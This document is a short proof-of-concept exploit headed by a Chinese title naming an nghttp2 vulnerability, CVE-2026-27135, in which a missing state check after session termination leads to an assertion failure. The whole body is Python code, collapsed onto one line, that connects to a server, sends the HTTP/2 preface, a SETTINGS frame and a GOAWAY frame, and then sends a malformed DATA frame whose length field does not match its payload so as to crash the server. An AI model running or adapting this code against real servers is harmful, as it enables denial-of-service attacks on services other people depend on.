CVE-2026-27135 nghttp2会话终止后状态验证缺失导致断言失败

import socket import struct # CVE-2026-27135 PoC - nghttp2 assertion failure after session terminate # This PoC demonstrates sending a malformed frame after session termination def create_http2_settings_frame(): """Create a HTTP/2 SETTINGS frame""" frame = b'\x00\x00\x00' # Length: 0 frame += b'\x04' # Type: SETTINGS frame += b'\x00' # Flags: none frame += b'\x00\x00\x00\x00' # Stream ID: 0 return frame def create_goaway_frame(): """Create a GOAWAY frame to terminate session""" frame = b'\x00\x00\x08' # Length: 8 frame += b'\x07' # Type: GOAWAY frame += b'\x00' # Flags: none frame += b'\x00\x00\x00\x00' # Stream ID: 0 frame += struct.pack('>I', 0) # Last Stream ID frame += struct.pack('>I', 0) # Error code: NO_ERROR return frame def create_malformed_frame(): """Create a malformed frame that causes FRAME_SIZE_ERROR""" # Frame with invalid length field that doesn't match actual data frame = b'\x00\x00\xFF' # Length claims 255 bytes frame += b'\x00' # Type: DATA frame += b'\x00' # Flags frame += b'\x00\x00\x00\x01' # Stream ID: 1 frame += b'\x00' * 10 # Only 10 bytes of data (not 255) return frame def exploit(target_host, target_port): """Send PoC to trigger CVE-2026-27135""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send HTTP/2 connection preface sock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n') # Send SETTINGS frame sock.send(create_http2_settings_frame()) # Send GOAWAY to terminate session sock.send(create_goaway_frame()) # Send malformed frame after session termination # This triggers FRAME_SIZE_ERROR and assertion failure sock.send(create_malformed_frame()) sock.close() print(f"PoC sent to {target_host}:{target_port}") if __name__ == "__main__": exploit("target.example.com", 443)